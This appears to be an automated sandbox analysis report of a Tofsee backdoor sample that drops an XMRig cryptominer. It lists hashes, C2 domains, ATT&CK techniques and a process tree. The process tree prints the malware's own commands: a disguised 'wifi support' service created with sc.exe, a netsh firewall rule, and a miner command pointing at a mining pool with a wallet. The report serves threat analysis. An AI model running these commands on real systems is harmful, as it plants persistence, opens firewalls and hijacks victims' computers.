Analysis

  • max time kernel
    151s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    08-06-2022 09:18

General

  • Target

    9d1fe9a2662b8197482fd35c451577ac.exe

  • Size

    309KB

  • MD5

    9d1fe9a2662b8197482fd35c451577ac

  • SHA1

    da070a55592640ca42b9e4f38a3f7c3eee2522c1

  • SHA256

    de2146a97f1318d0957c808c23fa813c64955ced2187cdd2cef9d4971f5fc3a5

  • SHA512

    34ad51dd9206777d24b680c2fe329d876e711c143be5aa8c3ebee52409c4fe0b14ff8378ef805c307236dbd62d991eaf41cdd6403057e6f05305b7cb40fe704a

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9d1fe9a2662b8197482fd35c451577ac.exe
    "C:\Users\Admin\AppData\Local\Temp\9d1fe9a2662b8197482fd35c451577ac.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1480
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wrqhsbvk\
      2⤵
        PID:1776
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vityxuvi.exe" C:\Windows\SysWOW64\wrqhsbvk\
        2⤵
          PID:1100
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wrqhsbvk binPath= "C:\Windows\SysWOW64\wrqhsbvk\vityxuvi.exe /d\"C:\Users\Admin\AppData\Local\Temp\9d1fe9a2662b8197482fd35c451577ac.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1948
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wrqhsbvk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wrqhsbvk
          2⤵
          • Launches sc.exe
          PID:1168
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:524
      • C:\Windows\SysWOW64\wrqhsbvk\vityxuvi.exe
        C:\Windows\SysWOW64\wrqhsbvk\vityxuvi.exe /d"C:\Users\Admin\AppData\Local\Temp\9d1fe9a2662b8197482fd35c451577ac.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1744
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1808
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1572

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\vityxuvi.exe
        Filesize

        11.6MB

        MD5

        ad1a473a8d4e9a0e83514b5bf39ad314

        SHA1

        302b78a4beefe6f2e4fd7285a0f4f640232c969d

        SHA256

        31fedb357f23a4df5be99c1c4f33a3eedb42e56877bb507fbae71283dfaad6eb

        SHA512

        3506f69b62e82faa1af6f0309b303d0df10be44a3ace03568a778df63361144e1eadd26a16594318b8555527ed0535145c05e2044304e52fab9e8920f14a2d45

      • C:\Windows\SysWOW64\wrqhsbvk\vityxuvi.exe
        Filesize

        11.6MB

        MD5

        ad1a473a8d4e9a0e83514b5bf39ad314

        SHA1

        302b78a4beefe6f2e4fd7285a0f4f640232c969d

        SHA256

        31fedb357f23a4df5be99c1c4f33a3eedb42e56877bb507fbae71283dfaad6eb

        SHA512

        3506f69b62e82faa1af6f0309b303d0df10be44a3ace03568a778df63361144e1eadd26a16594318b8555527ed0535145c05e2044304e52fab9e8920f14a2d45

      • memory/524-66-0x0000000000000000-mapping.dmp
      • memory/1100-60-0x0000000000000000-mapping.dmp
      • memory/1168-64-0x0000000000000000-mapping.dmp
      • memory/1480-58-0x0000000000400000-0x00000000004F3000-memory.dmp
        Filesize

        972KB

      • memory/1480-54-0x00000000005A8000-0x00000000005B9000-memory.dmp
        Filesize

        68KB

      • memory/1480-57-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/1480-56-0x00000000005A8000-0x00000000005B9000-memory.dmp
        Filesize

        68KB

      • memory/1480-55-0x0000000075871000-0x0000000075873000-memory.dmp
        Filesize

        8KB

      • memory/1480-67-0x00000000005A8000-0x00000000005B9000-memory.dmp
        Filesize

        68KB

      • memory/1480-68-0x0000000000400000-0x00000000004F3000-memory.dmp
        Filesize

        972KB

      • memory/1572-103-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/1572-108-0x000000000027259C-mapping.dmp
      • memory/1572-101-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/1716-63-0x0000000000000000-mapping.dmp
      • memory/1744-69-0x00000000006E8000-0x00000000006F9000-memory.dmp
        Filesize

        68KB

      • memory/1744-78-0x0000000000400000-0x00000000004F3000-memory.dmp
        Filesize

        972KB

      • memory/1744-77-0x00000000006E8000-0x00000000006F9000-memory.dmp
        Filesize

        68KB

      • memory/1776-59-0x0000000000000000-mapping.dmp
      • memory/1808-88-0x0000000000120000-0x0000000000130000-memory.dmp
        Filesize

        64KB

      • memory/1808-81-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1808-82-0x0000000001A40000-0x0000000001C4F000-memory.dmp
        Filesize

        2.1MB

      • memory/1808-85-0x0000000000110000-0x0000000000116000-memory.dmp
        Filesize

        24KB

      • memory/1808-75-0x0000000000089A6B-mapping.dmp
      • memory/1808-91-0x0000000000260000-0x0000000000265000-memory.dmp
        Filesize

        20KB

      • memory/1808-94-0x00000000058C0000-0x0000000005CCB000-memory.dmp
        Filesize

        4.0MB

      • memory/1808-97-0x0000000000270000-0x0000000000277000-memory.dmp
        Filesize

        28KB

      • memory/1808-100-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1808-72-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1808-74-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1948-62-0x0000000000000000-mapping.dmp